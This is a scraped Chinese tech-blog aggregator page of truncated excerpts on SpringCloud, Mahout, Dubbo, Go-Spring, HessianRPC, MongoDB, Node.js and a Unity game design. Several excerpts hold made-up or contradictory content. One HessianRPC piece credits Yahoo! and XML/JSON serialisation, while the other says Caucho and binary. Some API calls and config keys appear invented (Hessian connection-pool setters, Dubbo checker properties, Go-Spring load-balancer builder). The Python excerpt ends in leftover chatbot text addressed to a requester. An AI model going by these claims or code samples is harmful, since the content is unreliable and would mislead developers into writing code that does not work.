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SpringCloud
...PI网关是一种服务端设计模式,充当了系统的入口点,所有外部请求首先通过API网关接入,由其进行统一处理和转发。在SpringCloud中,Zuul和Spring Cloud Gateway就是这样的API网关组件,它们负责路由请求到相应的微服务实例,并可以实现认证、授权、限流、熔断、日志记录等功能。 服务注册与发现 , 服务注册与发现是微服务架构中的核心机制之一。服务注册是指微服务启动时将自己的网络地址、元数据等信息注册到一个集中式的注册中心(如Eureka或Consul),使得其他服务能够找到并调用它。而服务发现则是指客户端(或其他服务)通过查询注册中心获取到目标服务的可用实例列表,从而实现对服务的调用和负载均衡。 负载均衡 , 负载均衡是分布式系统中的重要概念,旨在将来自客户端的请求分发至后端多个服务实例上,以实现系统的高可用性和扩展性。在SpringCloud框架下,可以通过Zuul或Gateway组件内置的负载均衡策略(如轮询、随机、权重分配等)来合理地分散流量,避免单个服务实例过载,保证整体服务性能和稳定性。
2023-03-01 18:11:39
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灵动之光
Mahout
...版本更新后,旧版代码调用被弃用API引发错误:一场与时俱进的重构之旅 1. 引言 当我们沉浸在机器学习的世界中,Apache Mahout作为一款强大的机器学习库,无疑是我们的重要工具之一。不过呢,随着技术的不断进步和Mahout版本的频繁更新换代,一些以前的老版API开始慢慢退出历史舞台了。这就意味着那些还在依靠这些旧API运作的老项目可能会遇到一系列意想不到的运行时错误,让人头疼不已啊。本文将通过具体的代码实例,探讨这一问题,并给出相应的解决方案。 2. Mahout版本更新与API更迭 Mahout是一个开源的分布式机器学习框架,它为开发者提供了丰富的算法实现。在产品更新换代的旅程中,为了让软件跑得更溜、玩出更多新花样或者跟上最新的编程潮流,我们有时不得不把一些旧版的API打入“冷宫”,贴上“过时”的标签。别担心,它们不会立刻消失,但确实会在未来的某个时刻彻底和我们说拜拜。这就意味着,如果我们还继续用老版的代码去调这些API,一旦升级到Mahout的新版本,极有可能会让程序罢工,或者蹦出一堆我们压根预料不到的结果来。 3. 旧版API调用引发的问题实例 想象一下这样的场景:你正在使用Mahout 0.9版本进行协同过滤推荐系统开发,其中使用了GenericItemBasedRecommender类的一个已被废弃的方法estimateForAnonymous(): java // 在Mahout 0.9版本中的旧代码片段 import org.apache.mahout.cf.taste.impl.recommender.GenericItemBasedRecommender; ... GenericItemBasedRecommender recommender = ...; List recommendations = recommender.estimateForAnonymous(userId, neighborhoodSize); 然而,在Mahout的新版本中,这个方法已经被弃用,取而代之的是更为先进且符合新设计思路的API。当你升级Mahout至新版本后,这段代码就会抛出NoSuchMethodError或其他相关的运行时异常,严重影响了系统的稳定性和功能表现。 4. 解决方案及新版API应用示例 面对这种情况,我们需要对旧版代码进行适配性改造,以适应Mahout新版API的设计理念。以上述例子为例,我们可以查阅Mahout的官方文档或源码注释,找到替代estimateForAnonymous()的新方法,比如在新版Mahout中,可以采用如下方式获取推荐结果: java // 在Mahout新版本中的更新代码片段 import org.apache.mahout.cf.taste.recommender.RecommendedItem; ... GenericRecommender recommender = ...; // 注意这里是GenericRecommender而非GenericItemBasedRecommender List recommendations = recommender.recommend(userId, neighborhoodSize); 5. 迁移过程中的思考与策略 在处理这类问题时,我们不仅要关注具体API的变化,更要理解其背后的设计思想和优化目的。例如,新API可能简化了接口设计,提高了算法效率,或者更好地支持了分布式计算。所以,每次版本更新带来的API变动,其实都是我们好好瞅瞅、改进现有项目的好机会,这可不仅仅是个技术挑战那么简单。 总结来说,面对Mahout版本更新带来的旧版API弃用问题,我们需要保持敏锐的技术嗅觉,及时跟进官方文档和技术动态,适时对旧有代码进行重构和迁移。这样一来,我们不仅能巧妙地躲开API改版可能引发的各种运行故障,更能搭上新版Mahout这班快车,让我们的机器学习应用效果和用户体验蹭蹭往上涨。同时,这也是一个不断学习、不断提升的过程,让我们一起拥抱变化,走在技术进步的前沿。
2023-09-14 23:01:15
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风中飘零
Consul
...务架构是一种软件开发方法论,其中应用被设计为一组小型、独立部署且拥有明确业务功能的服务集合。每个服务都可以独立开发、测试、部署和扩展,而服务之间通过API调用相互协作,共同完成复杂的业务逻辑。在本文中,Consul在微服务架构中扮演了关键角色,负责管理和协调各个服务实例,保证它们之间的通信和服务发现过程高效可靠。
2024-01-22 22:56:45
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星辰大海
Etcd
...onerror的排查方法 假设我们在使用Etcd的过程中遭遇了此类错误,可以按照以下步骤进行排查: 步骤一:检查日志 查看Etcd的日志输出,定位错误发生的具体事务以及可能触发异常的数据内容。 步骤二:模拟压缩 通过编写类似上面的代码片段,尝试用Snappy压缩可能出现问题的数据部分,看是否能重现错误。 步骤三:资源监控 确保服务器有足够的内存资源用于Snappy压缩操作。可以通过系统监控工具(如top、htop等)实时查看内存使用情况。 步骤四:版本验证与升级 确认使用的Etcd及Snappy库版本,并查阅相关文档,看看是否有已知的关于数据压缩问题的修复版本,如有必要,请及时升级。 4. 解决Datacompressionerror的方法与实践 针对上述原因,我们可以采取如下措施来解决Datacompressionerror: - 清理无效数据:若发现特定的键值对导致压缩失败,应立即移除或修正这些数据。 - 增加系统资源:确保Etcd运行环境拥有足够的内存资源以支持正常的压缩操作。 - 升级依赖库:如确定是由于Snappy库的问题引起的,应尽快升级至最新稳定版或已知修复该问题的版本。 go // 假设我们需要删除触发压缩错误的某个键值对 import ( "go.etcd.io/etcd/clientv3" ) func deleteKey(client clientv3.Client, key string) error { _, err := client.Delete(context.Background(), key) return err } // 调用示例 err := deleteKey(etcdClient, "problematic-key") if err != nil { log.Fatal(err) } 总之,面对Etcd中的"data compression error",我们需要深入了解其背后的压缩机制,理性分析可能的原因,并通过实例代码演示如何排查和解决问题。在这个过程中,我们不光磨炼了搞定技术难题的硬实力,更是亲身感受到了软件开发实战中那份必不可少的探索热情和动手实践的乐趣。就像是亲手烹饪一道复杂的菜肴,既要懂得菜谱上的技术窍门,也要敢于尝试、不断创新,才能最终端出美味佳肴,这感觉倍儿爽!希望这篇文章能帮助你在遇到此类问题时,能够快速找到合适的解决方案。
2023-03-31 21:10:37
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半夏微凉
Dubbo
...和稳定性。其中,服务调用的容错问题是微服务架构中的一个重要环节。为了防止服务调用异常导致整个系统崩溃,我们可以采用熔断的方式,当服务调用出现异常时,自动切换到一个默认或者备份的服务,从而保证服务的稳定性和可用性。 什么是熔断时间窗口? 熔断时间窗口是指在一段时间内,服务调用的错误率超过阈值后,自动开启熔断状态,停止对该服务的调用,并等待一段时间后重新尝试。在这个时间段内,我们称之为熔断时间窗口。一般来说,熔断机制的时间窗口这东西啊,它就像个看门人,时间窗口设得越长,系统的故障修复速度就越慢悠悠的,不过呢,这样就更能稳稳地把系统的稳定性和可用性保护得妥妥的;反过来,如果把时间窗口设置得短一些,系统的故障恢复速度就能嗖嗖地快起来,但是吧,也可能会对系统的稳定性造成那么一丢丢影响。 配置Dubbo的熔断时间窗口 Dubbo是一个开源的分布式服务框架,提供了多种服务注册和发现、负载均衡、容错等能力。在Dubbo这个家伙里头,咱们能够灵活地设置熔断时间窗口,这招儿可多了去了。比如说,可以直接动动手,用心编写配置文件来实现;再比如,可以紧跟潮流,用上注解这种方式,一键搞定,既便捷又高效,让整个配置过程就像日常聊天一样轻松自然。下面我们来看一下具体的操作步骤。 使用配置文件配置熔断时间窗口 首先,我们需要创建一个配置文件,用于指定Dubbo的熔断时间窗口。例如,我们可以创建一个名为dubbo.properties的配置文件,并在其中添加如下内容: properties dubbo.consumer.check.disable=true 这行代码的意思是关闭Dubbo的消费端检查功能,因为我们在使用熔断时并不需要这个功能。然后,我们可以添加如下代码来配置熔断时间窗口: properties dubbo.protocol.checker.enabled=true dubbo.protocol.checker.class=com.alibaba.dubbo.rpc.filter.TimeoutChecker dubbo.protocol.checker.timeout=5000 这段代码的意思是启用Dubbo的检查器,并设置其为TimeoutChecker类,同时设置检查的时间间隔为5秒。在TimeoutChecker类中,我们可以实现自己的熔断时间窗口逻辑。 使用注解配置熔断时间窗口 除了使用配置文件外,我们还可以使用注解的方式来配置熔断时间窗口。首先,我们需要引入Dubbo的相关依赖,然后在我们的服务接口上添加如下注解: java @Reference(timeout = 5000) public interface MyService { // ... } 这段代码的意思是在调用MyService服务的方法时,设置熔断时间窗口为5秒。这样一来,当你调用这个方法时,如果发现它磨磨蹭蹭超过5秒还没给个反应,咱们就立马启动“熔断”机制,切换成常规默认的服务来应急。 使用sentinel进行熔断控制 Sentinel是一款开源的流量控制框架,可以实现流量削峰、熔断等功能。在Dubbo中,我们可以通过集成Sentinel来进行熔断控制。首先,咱们得在Dubbo的服务注册中心那儿开启一个Sentinel服务器,这一步就像在热闹的集市上搭建起一个守护岗亭。然后,得给这个 Sentinel 服务器精心调校一番,就像是给新上岗的哨兵配备好齐全的装备和详细的巡逻指南,这些也就是 Sentinel 相关的参数配置啦。接下来,咱们可以在Dubbo消费者这边动手启动一个Sentinel小客户端,并且得把它的一些相关参数给调校妥当。好嘞,到这一步,咱们就能在Dubbo的服务接口上动手脚啦,给它加上Sentinel的注解,这样一来,就可以轻轻松松实现服务熔断控制,就像是给电路装了个保险丝一样。 总结 在微服务架构中,服务调用的容错问题是一个非常重要的环节。设置一下Dubbo的熔断机制时间窗口,就能妥妥地拦住那些可能会引发系统大崩盘的服务调用异常情况,让我们的系统稳如泰山。同时,我们还可以通过集成Sentinel来进行更高级的流量控制和熔断控制。总的来说,熔断机制这个东东,可真是个超级实用的“法宝”,咱在日常开发工作中绝对值得大大地推广和运用起来!
2023-07-06 13:58:31
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星河万里-t
Python
...版本采用了面向对象的方法,定义了一个名为 Hemisphere 的类,该类包含一个构造函数和一个方法 volume() 来计算体积。通过这种方式,我们可以更方便地管理和操作半球的相关属性和行为。 4. 总结与反思 通过上述三个不同的示例,我们可以看到,即使是同一个问题,也可以用多种方式来解决。从最基本的函数调用,到让用户动起来的交互设计,再到酷炫的面向对象编程,每种方式都有它的独门绝技。这事儿让我明白,在编程这个圈子里,其实没有什么绝对的对错之分,最重要的是得找到最适合自己眼下情况和需要的方法。 同时,这次探索也让我深刻体会到数学与编程之间的紧密联系。很多时候,我们面对的问题不仅仅是技术上的挑战,更是对数学知识的理解和应用。希望能给你带来点灵感,不管是学Python还是别的啥,保持好奇心和爱折腾的精神可太重要了! 好了,这就是今天的内容。如果你有任何想法或疑问,欢迎随时留言讨论。让我们一起继续学习,享受编程带来的乐趣吧! --- 这篇文章旨在通过具体案例展示如何利用Python解决实际问题,同时穿插了一些个人思考和感受,希望能够符合你对于“口语化”、“情感化”的要求。希望对你有所帮助!
2024-11-19 15:38:42
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凌波微步
c++
...用C++语言进行程序设计时所采用的一系列有效、高效、易维护的编程方法和实践。这些技巧包括但不限于合理使用模板、类和对象、高效管理内存、优化算法和数据结构、遵循命名规范、编写清晰的注释等。掌握这些技巧有助于提升程序员的工作效率,减少错误,提高代码的质量和可读性。 名词 , 数据类型转换。 解释 , 数据类型转换是在编程中将一个数据类型的数据转换为另一个数据类型的过程。在C++中,这可以通过自动类型转换、强制类型转换(如静态_cast、动态_cast、reinterpret_cast和const_cast)以及模板函数等方式实现。正确使用类型转换对于保证程序的正确性和性能至关重要,同时也要注意类型转换可能带来的安全隐患,如数据丢失或运行时错误。 名词 , 类型安全编程。 解释 , 类型安全编程是一种编程实践,旨在确保程序在运行时不会因类型错误而导致崩溃或产生不可预测的行为。在C++中,通过严格遵守类型规则、合理使用类型转换、避免隐式类型转换可能导致的意外行为,以及利用现代C++特性和工具(如范围基元、期待表达式等)来提高代码的类型安全性,可以有效减少程序中的类型错误,从而提高代码的稳定性和可靠性。
2024-09-14 16:07:23
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笑傲江湖
Go-Spring
...g Boot的理念和设计模式,为Golang开发者提供了一套便捷、高效的微服务解决方案。它就像一个超级智能的交通指挥员,肚子里装着好几种调配工作量的“小妙招”,比如轮流分配、随机挑选、最少连接数原则等。这样一来,服务间的相互呼叫就能灵活地分散到多个不同的干活机器上,就像是大家一起分担任务一样,既能让整个系统更麻溜地处理大量同时涌进来的请求,又能增强系统的抗故障能力,即使有个别机器罢工了,其他机器也能顶上,保证工作的正常进行。 2. 使用Go-Spring实现负载均衡的基本步骤 2.1 配置服务消费者 首先,我们需要在服务消费者端配置负载均衡器。想象一下,我们的服务使用者需要联系一个叫做“.UserService”的小伙伴来帮忙干活儿,这个小伙伴呢,有很多个分身,分别在不同的地方待命。 go import ( "github.com/go-spring/spring-core" "github.com/go-spring/spring-cloud-loadbalancer" ) func main() { spring.NewApplication(). RegisterBean(new(UserServiceConsumer)). AddCloudLoadBalancer("userService", func(c loadbalancer.Config) { c.Name = "userService" // 设置服务名称 c.LbStrategy = loadbalancer.RandomStrategy // 设置负载均衡策略为随机 c.AddServer("localhost:8080") // 添加服务实例地址 c.AddServer("localhost:8081") }). Run() } 2.2 调用远程服务 在服务消费者内部,通过@Service注解注入远程服务,并利用Go-Spring提供的Invoke方法进行调用,此时请求会自动根据配置的负载均衡策略分发到不同的服务实例。 go import ( "github.com/go-spring/spring-core" "github.com/go-spring/spring-web" ) type UserServiceConsumer struct { UserService spring.Service service:"userService" } func (uc UserServiceConsumer) Handle(ctx spring.WebContext) { user, err := uc.UserService.Invoke(func(service UserService) (User, error) { return service.GetUser(1) }) if err != nil { // 处理错误 } // 处理用户数据 ... } 3. 深入理解负载均衡策略 Go-Spring支持多种负载均衡策略,每种策略都有其适用场景: - 轮询(RoundRobin):每个请求按顺序轮流分配到各个服务器,适用于所有服务器性能相近的情况。 - 随机(Random):从服务器列表中随机选择一个,适用于服务器性能差异不大且希望尽可能分散请求的情况。 - 最少连接数(LeastConnections):优先选择当前连接数最少的服务器,适合于处理时间长短不一的服务。 根据实际业务需求和系统特性,我们可以灵活选择并调整这些策略,以达到最优的负载均衡效果。 4. 思考与讨论 在实践过程中,我们发现Go-Spring的负载均衡机制不仅简化了开发者的配置工作,而且提供了丰富的策略选项,使得我们能够针对不同场景采取最佳策略。不过呢,负载均衡可不是什么万能灵药,想要搭建一个真正结实耐造的分布式系统,咱们还得把它和健康检查、熔断降级这些好兄弟一起,手拉手共同协作才行。 总结来说,Go-Spring以其人性化的API设计和全面的功能集,极大地降低了我们在Golang中实施负载均衡的难度。而真正让它火力全开、大显神通的秘诀,就在于我们对业务特性有如数家珍般的深刻理解,以及对技术工具能够手到擒来的熟练掌握。让我们一起,在Go-Spring的世界里探索更多可能,打造更高性能、更稳定的分布式服务吧!
2023-12-08 10:05:20
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繁华落尽
Apache Atlas
... - 解决策略:确保调用API的用户具有创建实体所需的权限。在Atlas UI这个平台上,你可以像给朋友分配工作任务那样,为用户或角色设置合适的权限。或者,你也可以选择到服务端的配置后台“动手脚”,调整用户的访问控制列表(ACL),就像是在修改自家大门的密码锁一样,决定谁能进、谁能看哪些内容。 3.2 实体属性缺失或格式不正确 - 场景描述:尝试创建Hive表时,如果没有指定必需的属性如"db"(所属数据库),则会报错。 - 思考过程:每个实体类型都有其特定的属性要求,如果不满足这些要求,API调用将会失败。 - 代码示例: java // 错误示例:未设置db属性 AtlasEntity invalidTableEntity = new AtlasEntity(HiveDataTypes.HIVE_TABLE.getName()); invalidTableEntity.setAttribute("name", "invalid_table"); // 此时调用createEntities方法将抛出异常 - 解决策略:在创建实体时,务必检查并完整地设置所有必需的属性。参考Atlas的官方文档了解各实体类型的属性需求。 3.3 关联实体不存在 - 场景描述:当创建一个依赖于其他实体的实体时,例如Hive表依赖于Hive数据库,如果引用的数据库实体在Atlas中不存在,会引发错误。 - 理解过程:在Atlas中,实体间存在着丰富的关联关系,如果试图建立不存在的关联,会导致创建失败。 - 解决策略:在创建实体之前,请确保所有相关的依赖实体已存在于Atlas中。如有需要,先通过API创建或获取这些依赖实体。 4. 结语 处理Apache Atlas REST API创建实体时的错误,不仅需要深入了解Atlas的实体模型和权限模型,更需要严谨的编程习惯和良好的调试技巧。遇到问题时,咱们得拿出勇气去深入挖掘,像侦探一样机智地辨别和剖析那些不靠谱的信息。同时,别忘了参考权威的官方文档,还有社区里大家伙儿共享的丰富资源,这样一来,就能找到那个正中靶心的解决方案啦!希望这篇文章能帮助你在使用Apache Atlas的过程中,更好地应对和解决创建实体时可能遇到的问题,从而更加高效地利用Atlas进行元数据管理。
2023-06-25 23:23:07
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彩虹之上
MemCache
...理策略。这种智能化的方法有望进一步减少缓存雪崩的可能性,并优化整体系统的性能表现。 综上所述,无论是依托于先进的云服务产品,还是持续跟进前沿科研动态,理解并应对缓存雪崩问题始终是现代分布式系统设计与运维的重要课题。对于开发者而言,不断跟进最新技术进展,结合实际应用场景灵活调整缓存策略,将是提升系统稳定性和用户体验的关键所在。
2023-12-27 23:36:59
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蝶舞花间
HessianRPC
...一种轻量级的远程过程调用(RPC)协议,以其高效、快速的性能而受到开发者们的青睐。然而,随着系统规模的扩大,连接池管理成为了一个不容忽视的问题。本文将探讨HessianRPC的连接池优化策略,带你走进这个看似简单实则复杂的领域。 二、HessianRPC简介 1.1 什么是HessianRPC HessianRPC由Yahoo!开发,它将Java对象序列化为XML或JSON格式,通过HTTP进行传输。其特点是序列化和反序列化速度快,适合对性能要求较高的场景。 1.2 HessianRPC的工作原理 HessianRPC的核心是HessianSerializer,它负责对象的序列化和反序列化。你在手机APP上点击那个神奇的“调用”按钮,它就像个小能手一样,瞬间通过网络把你的请求打包成一个小包裹,然后嗖的一下发送给服务器。服务器收到后,就像拆快递一样迅速处理那些方法,搞定一切后又会给客户端回复反馈,整个过程悄无声息又高效极了。 三、连接池的重要性 2.1 连接池的定义 连接池是一种复用资源的技术,用于管理和维护一个预先创建好的连接集合,当有新的请求时,从连接池中获取,使用完毕后归还,避免频繁创建和销毁连接带来的性能损耗。 2.2 连接池在HessianRPC中的作用 对于HessianRPC,连接池可以显著减少网络开销,特别是在高并发场景下,避免了频繁的TCP三次握手,提高了响应速度。不过嘛,我们要琢磨的是怎么恰当地摆弄那个连接池,别整得太过了反而浪费资源,这是接下来的头等大事。 四、连接池优化策略 3.1 连接池大小设置 - 理论上,连接池大小应根据系统的最大并发请求量来设定。要是设置得不够给力,咱们的新链接就可能像赶集似的不断涌现,让服务器压力山大;可要是设置得太过豪放,又会像个大胃王一样猛吞内存,资源紧张啊。 - 示例代码: java HessianProxyFactory factory = new HessianProxyFactory(); factory.setConnectionPoolSize(100); // 设置连接池大小为100 MyService service = (MyService) factory.create("http://example.com/api"); 3.2 连接超时和重试策略 - 针对网络不稳定的情况,我们需要设置合理的连接超时时间,并在超时后尝试重试。 - 示例代码: java factory.setConnectTimeout(5000); // 设置连接超时时间为5秒 factory.setRetryCount(3); // 设置最多重试次数为3次 3.3 连接池维护 - 定期检查连接池的状态,清理无用连接,防止连接老化导致性能下降。 - 示例代码(使用Apache HttpClient的PoolingHttpClientConnectionManager): java CloseableHttpClient httpClient = HttpClients.custom() .setConnectionManager(new PoolingHttpClientConnectionManager()) .build(); 五、连接池优化实践与反思 4.1 实践案例 在实际项目中,我们可以通过监控系统的连接数、请求成功率等指标,结合业务场景调整连接池参数。例如,根据负载均衡器的流量数据动态调整连接池大小。 4.2 思考与挑战 尽管连接池优化有助于提高性能,但过度优化也可能带来复杂性。你知道吗,我们总是在找寻那个奇妙的平衡点,就是在提升功能强大度的同时,还能让代码像诗一样简洁,易读又易修,这事儿挺有意思的,对吧? 六、结论 HessianRPC的连接池优化是一个持续的过程,需要根据具体环境和需求进行动态调整。要想真正摸透它的运作机制,还得把你实践经验的那套和实时监控的数据结合起来,这样咱才能找出那个最对路的项目优化妙招,懂吧?记住,优化不是目的,提升用户体验才是关键。希望这篇文章能帮助你更好地理解和应用HessianRPC连接池优化技术。
2024-03-31 10:36:28
503
寂静森林
HessianRPC
...Hessian服务的调用频率或QPS? 在分布式系统中,HessianRPC作为一种轻量级、高性能的远程服务调用框架被广泛应用。不过,在实际情况里头,我们可能得对服务的呼叫次数或者每秒查问数量(QPS)动手脚,好比调节个阀门,防止一下子涌进来的超高流量把服务给压垮了,甚至闹出崩溃这种大动静。本文将探讨如何实现这一目标,并通过实例代码展示具体操作过程。 1. HessianRPC简介 首先,我们简要回顾一下HessianRPC。这个东西,是Caucho Technology公司精心研发的一种利用HTTP协议的二进制RPC传输技术。说白了,就是一种能让数据以超快的速度进行打包和解包的黑科技,特别适合在微服务架构这种环境下用来远程“召唤”其他服务,效率贼高!但在默认情况下,HessianRPC并不提供对服务调用频率或QPS的直接限制功能。 2. 为何需要限制QPS? 在高并发环境下,服务端如果没有适当的保护措施,可能会因短时间内接收到过多请求而超负荷运转,进而影响系统的稳定性和响应速度。因此,为HessianRPC服务设置合理的QPS限制是保障系统健康运行的重要手段之一。 3. 实现方案 使用RateLimiter进行限流 Google Guava库中的RateLimiter组件可以很好地帮助我们实现QPS的限制。下面是一个使用Guava RateLimiter配合HessianRPC进行限流的示例: java import com.caucho.hessian.client.HessianProxyFactory; import com.google.common.util.concurrent.RateLimiter; public class HessianServiceCaller { private final HessianProxyFactory factory = new HessianProxyFactory(); private final RateLimiter rateLimiter = RateLimiter.create(10); // 每秒最大10个请求 public void callService() { if (rateLimiter.tryAcquire()) { // 尝试获取令牌,成功则执行调用 SomeService service = (SomeService) factory.create(SomeService.class, "http://localhost:8080/someService"); service.someMethod(); // 调用远程方法 } else { System.out.println("调用过于频繁,请稍后再试"); // 获取令牌失败,提示用户限流 } } } 在这个示例中,我们创建了一个RateLimiter实例,设定每秒最多允许10次请求。在打算呼唤Hessian服务之前,咱们先来个“夺令牌大作战”,从RateLimiter那里试试能不能拿到通行证。如果幸运地拿到令牌了,那太棒了,咱们就继续下一步,执行服务调用。但如果不幸没拿到,那就说明现在请求的频率已经超过我们预先设定的安全值啦,这时候只好对这次请求说抱歉,暂时不能让它通过。 4. 进阶策略 结合服务熔断与降级 单纯依赖QPS限制还不够全面,通常还需要结合服务熔断和服务降级机制,例如采用Hystrix等工具来增强系统的韧性。在咱们实际做项目的时候,完全可以按照业务的具体需求,灵活设计些更高级、更复杂的限流方案。比如说,就像“滑动窗口限流”这种方式,就像是给流量装上一个可以灵活移动的挡板;又或者是采用“漏桶算法”,这就如同你拿个桶接水,不管水流多猛,都只能以桶能承受的速度慢慢流出。这样的策略,既实用又能精准控制流量,让我们的系统运行更加稳健。 5. 总结 在面对复杂多变的生产环境时,理解并合理运用HessianRPC的服务调用频率控制至关重要。使用Guava的RateLimiter或者其他的限流神器,我们就能轻松把控服务的每秒请求数(QPS),这样一来,就算流量洪水猛兽般袭来,也能保证咱的服务稳如泰山,不会被冲垮。同时呢,我们也要像鹰一样,始终保持对技术的锐利眼光,瞅准业务的特点和需求,灵活机动地挑选并运用那些最适合的限流策略。这样一来,咱们就能让整个分布式系统的稳定性和健壮性蹭蹭往上涨,就像给系统注入了满满的活力。
2023-12-08 21:23:59
522
追梦人
NodeJS
...象包含了丰富的属性和方法,允许开发者获取和修改进程状态信息(如命令行参数、环境变量、当前工作目录等)、控制进程生命周期(启动、退出、异常处理等)以及实现进程间通信(IPC)。通过监听和响应process对象上的各种事件,开发者能够编写出更健壮、灵活且适应不同运行环境的Node.js应用程序。 事件发射器(Event Emitter) , 在Node.js中,事件发射器是一种设计模式,用于创建能触发事件和监听这些事件的对象。process对象就是一个内置的事件发射器实例,它可以注册并触发多种与进程相关的事件,如未捕获异常( uncaughtException )、系统信号(如Ctrl+C产生的 SIGINT )等。开发者可以通过调用process.on()方法添加事件监听器,以便在特定事件发生时执行相应的回调函数。 进程间通信(IPC, Inter-Process Communication) , 在多进程架构中,进程间通信是指一个进程向另一个进程发送数据或信号以协调两者之间行为的一种机制。在Node.js中,process对象支持子进程间的IPC通信,父进程和子进程可以利用process.send()方法发送消息,并通过process.on( message )监听消息以实现数据同步和协作。这种机制使得在Node.js应用中构建高效的多进程系统成为可能,尤其适用于那些需要分解任务到多个独立进程中执行,同时又要求进程间保持数据交换和协同工作的场景。
2024-03-22 10:37:33
435
人生如戏
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...仅有init()抽象方法 Character 拥有血量和攻击力的实体继承自Character,同时实现getATK()和beDamage()抽象方法用于处理攻击和受击逻辑 SceneItem 其他场景实体继承自SceneItem,无特殊属性和方法 Scene 场景管理类,能偶根据Json文件生成场景物体,保存了实体预制体,还拥有一个静态List和静态方法用于运行时向场景中添加新实体 InteractionMI 用于处理单个实体无法处理或不属于单个实体的逻辑,包括: 幽灵追踪主角时获取角色位置 帮助实体初始化定时器组件 减速陷阱是否可以回复主角速度 主角与灯、宝箱、武器的交互 DamageMI 包含静态方法Damage()专门用于处理伤害逻辑,方便后续服务器验证等逻辑 逻辑实现 主角 Protagonist类用于处理主角相关逻辑 受击逻辑 当主角不处于无敌状态,播放受击动画,扣除血量并进入无敌状态,定时器定时一秒后关闭无敌状态 交互逻辑 用户输入交互信号后,交由InteractionMI判断交互是否成功,返回交互信息,主角播放对应动画 武器逻辑 当主角获得武器后,主角身上保存武器的引用,与武器交互直接调用武器的对应方法(Drop(),Fire()) 结算逻辑 当主角HP小于等于0时,调用Scene的静态方法,请求场景结算 怪物 石像鬼 血量无限,没有受击逻辑,当检测组件检测到主角时,调用继承的Attack方法,攻击主角 幽灵 三种状态:die、patrol,chase 死亡状态下三秒后会在第一个导航点复活 巡逻状态下检测到主角会调用继承的Attack方法攻击主角 追逐状态下会每帧获得主角位置追逐主角 其他场景物品 灯光 初始化时添加计时器用于控制自动开关,用户交互后重置计时器 开启时使用一个锥形的检测器检测幽灵是否在范围内,如果在调用Damage对幽灵造成伤害 存在一个Box Collider,当玩家进入时,调用InteractionMI的方法,将InteractionMI保存的静态SwitchableLight引用置为自己,当玩家交互时这个引用不为null,则调用这个引用的SwitchableLight的ChangeLight方法完成开关灯的交互 减速陷阱 当玩家进入时,调用InteractionMI的方法,使其内置的静态_slowDownCount计数加一,并调用玩家的SetSpeedRatio方法使玩家减速 当玩家离开,设置计时器5秒后调用InteractionMI的方法,使其内置的静态_slowDownCount计数减一,当计数为零时才可以调用玩家的SetSpeedRatio方法使玩家回复正常速度 地刺陷阱 初始化时设置计时器,每三秒改变一次状态,当玩家进入,设置计时器每一秒对玩家造成一次伤害,当玩家离开,取消计时器 宝箱 内置public GameObject GWeapon;用于保存要生成的枪的预制体 当玩家第一次与宝箱交互,播放开宝箱动画,设置计时器1.2秒后根据预制体克隆一个武器,并将武器通过Scene的静态方法加入到Scene维护的SceneObject列表中,自身保存新生成的武器的引用 当武器生成后玩家再与宝箱交互则通过InteractionMI的方法将武器父节点设为玩家,玩家获得武器的引用,自身武器引用置为null 武器 内置private Transform _parent = null;用于保存父物体 Drop方法被调用时,若父物体不为空,设置自身刚体属性,设置速度使武器有抛出效果,设置计时器1秒后恢复到没有物理效果的状态,父物体置为空 Fire方法被调用,若能够开火,则生成并初始化一个子弹,生成时将保存的父物体的Transform给子弹,保证子弹能够向角色前方发射,开火后设置开火状态为不能开火,设置计时器0.5秒后恢复开火状态 当父物体信息为空,与其他交互逻辑类似,通过InteractionMI完成武器捡起的交互逻辑 子弹 初始化时设置初速度,启动定时器1秒后若没有销毁则自动销毁,若碰撞到幽灵,对幽灵造成伤害,其他碰撞销毁自己 本篇文章为转载内容。原文链接:https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-11 12:57:03
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Mongo
...ngoDB的这个异步设计妙就妙在,即使你的应用程序正在处理海量数据读写,也能稳稳保证响应速度贼快,运行起来流畅得飞起,一点儿不卡顿。 2. 连接MongoDB数据库的异步过程 (以下示例采用Node.js环境及官方mongodb库) javascript const MongoClient = require('mongodb').MongoClient; // 异步连接MongoDB MongoClient.connect('mongodb://localhost:27017/mydatabase', { useNewUrlParser: true, useUnifiedTopology: true }, (err, client) => { if (err) { console.error('Error connecting to MongoDB:', err); return; } console.log('Connected successfully to MongoDB'); // 使用client对象进行数据库操作... const db = client.db(); // ... // 在完成所有数据库操作后,记得关闭连接 client.close(); }); 上述代码展示了如何异步地连接到MongoDB数据库。这里,MongoClient.connect()方法接受一个连接字符串、配置选项以及一个回调函数。当连接成功建立或发生错误时,回调函数会被调用。这正是异步编程的体现,主线程不会被阻塞,直到连接操作完成才执行后续逻辑。 3. 向MongoDB数据库异步写入数据 同样,向MongoDB插入或更新数据也是异步执行的。下面是一个向集合中插入文档的例子: javascript db.collection('mycollection').insertOne({ name: 'John Doe', age: 30 }, (err, result) => { if (err) { console.error('Error inserting document:', err); return; } console.log('Document inserted successfully:', result.insertedId); // 插入操作完成后,可以在这里执行其他逻辑 }); // 注意:这里的db是上一步异步连接成功后获取的数据库实例 这段代码展示了如何异步地向MongoDB的一个集合插入一个文档。你知道吗,这个insertOne()方法就像是个贴心的小帮手,它会接收一个文档对象作为“礼物”,然后再加上一个神奇的回调函数。当你把这个“礼物”放进去,或者在插入过程中不小心出了点小差错的时候,这个神奇的回调函数就会立马跳出来开始干活儿啦! 4. 思考与探讨 在实际开发过程中,异步操作无疑提升了我们的应用性能和用户体验。然而,这也带来了回调地狱、复杂的流程控制等问题。还好啦,现代的JavaScript可真是够意思的,它引入了Promise、async/await这些超级实用的工具,让咱们在处理异步编程时简直如虎添翼。这样一来,我们在和MongoDB打交道的时候,就能写出更加顺溜、更好懂、更好维护的代码,那感觉别提多棒了! 总结来说,MongoDB在连接数据库和写入数据时采取异步机制,这种设计让我们能够在高并发环境下更好地优化资源利用,提升系统效率。同时,作为开发者大兄弟,咱们得深入理解并灵活玩转异步编程这门艺术,才能应对各种意想不到的挑战,把MongoDB那牛哄哄的功能发挥到极致。
2024-03-10 10:44:19
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林中小径_
Nacos
